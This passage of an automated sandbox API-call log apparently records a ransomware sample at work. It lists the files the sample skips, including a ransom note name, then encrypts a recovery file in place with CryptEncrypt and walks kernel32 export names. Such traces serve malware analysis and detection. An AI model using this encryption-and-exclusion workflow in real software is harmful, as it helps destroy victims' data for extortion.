lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x890e11f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890e11f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0059.359] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.359] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x890e11f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890e11f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.359] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.359] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.359] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="DECRYPT-FILES.html") returned -1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="autorun.inf") returned 1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="boot.ini") returned 1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="desktop.ini") returned -1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="ntuser.dat") returned -1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="iconcache.db") returned -1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="bootsect.bak") returned -1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="ntuser.dat.log") returned -1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="thumbs.db") returned -1 [0059.359] lstrcmpiW (lpString1="boot.sdi", lpString2="Bootfont.bin") returned -1 [0059.359] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned 49 [0059.359] lstrlenW (lpString="boot.sdi") returned 8 [0059.359] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0059.359] lstrcatW (in: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpString2="boot.sdi" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" [0059.359] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.360] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.360] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x321e7b8 | out: lpFileSize=0x321e7b8*=3170304) returned 1 [0059.360] CreateFileMappingW (hFile=0x308, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x310 [0059.360] MapViewOfFile (hFileMappingObject=0x310, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3580000 [0059.420] CryptGenRandom (in: hProv=0x680530, dwLen=0x20, pbBuffer=0x630000 | out: pbBuffer=0x630000) returned 1 [0059.420] CryptGenRandom (in: hProv=0x680530, dwLen=0x8, pbBuffer=0x630020 | out: pbBuffer=0x630020) returned 1 [0059.420] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3290000 [0059.420] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x321e720*=0x28, dwBufLen=0x100 | out: pbData=0x3290000*, pdwDataLen=0x321e720*=0x100) returned 1 [0059.420] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x33e0000 [0061.650] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.651] WriteFile (in: hFile=0x308, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321e740, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x321e740*=0x108, lpOverlapped=0x0) returned 1 [0061.660] CloseHandle (hObject=0x0) returned 0 [0061.660] CloseHandle (hObject=0x308) returned 1 [0061.828] VirtualFree (lpAddress=0x3290000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.829] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.829] GetTickCount () returned 0x1db02 [0061.829] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0061.829] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0061.829] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x3290000 [0061.830] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x33e0000 [0061.830] lstrlenA (lpString="kernel32.dll") returned 12 [0061.830] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0061.830] lstrcpyA (in: lpString1=0x321db34, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0061.830] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0061.830] lstrcpyA (in: lpString1=0x321db34, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0061.830] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0061.830] lstrcpyA (in: lpString1=0x321db34, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0061.830] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0061.830] lstrcpyA (in: lpString1=0x321db34, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0061.830] lstrlenA (lpString="ADDATOMA") returned 8 [0061.830] lstrcpyA (in: lpString1=0x321db34, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0061.830] lstrlenA (lpString="ADDATOMW") returned 8 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0061.831] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0061.831] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0061.831] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0061.831] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0061.831] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0061.831] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0061.831] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0061.831] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0061.831] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0061.831] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0061.831] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0061.831] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0061.831] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0061.831] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0061.831] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0061.831] lstrcpyA (in: lpString1=0x321db34, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0061.831] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0061.832] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0061.832] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0061.832] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0061.832] lstrlenA (lpString="BACKUPREAD") returned 10 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0061.832] lstrlenA (lpString="BACKUPSEEK") returned 10 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0061.832] lstrlenA (lpString="BACKUPWRITE") returned 11 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0061.832] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0061.832] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0061.832] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0061.832] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0061.832] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0061.832] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0061.832] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0061.832] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0061.832] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0061.832] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0061.832] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0061.833] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0061.833] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0061.833] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0061.833] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0061.833] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0061.833] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0061.833] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0061.833] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0061.833] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0061.833] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0061.833] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0061.834] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0061.834] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0061.834] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0061.834] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0061.834] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0061.834] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0061.834] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0061.834] lstrlenA (lpString="BEEP") returned 4 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0061.834] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0061.834] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0061.834] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0061.834] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0061.834] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0061.834] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0061.834] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0061.834] lstrcpyA (in: lpString1=0x321db34, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0061.834] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0061.835] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0061.835] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0061.835] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0061.835] lstrlenA (lpString="CANCELIO") returned 8 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0061.835] lstrlenA (lpString="CANCELIOEX") returned 10 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0061.835] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0061.835] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0061.835] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0061.835] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0061.835] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0061.835] lstrlenA (lpString="CHECKELEVATION") returned 14 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0061.835] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0061.835] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0061.835] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0061.835] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0061.835] lstrcpyA (in: lpString1=0x321db34, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0061.835] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0061.836] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0061.836] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0061.836] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0061.836] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0061.836] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0061.836] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0061.836] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0061.836] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0061.836] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0061.836] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0061.836] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0061.836] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0061.836] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0061.836] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0061.836] lstrcpyA (in: lpString1=0x321db34, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0061.836] lstrlenA 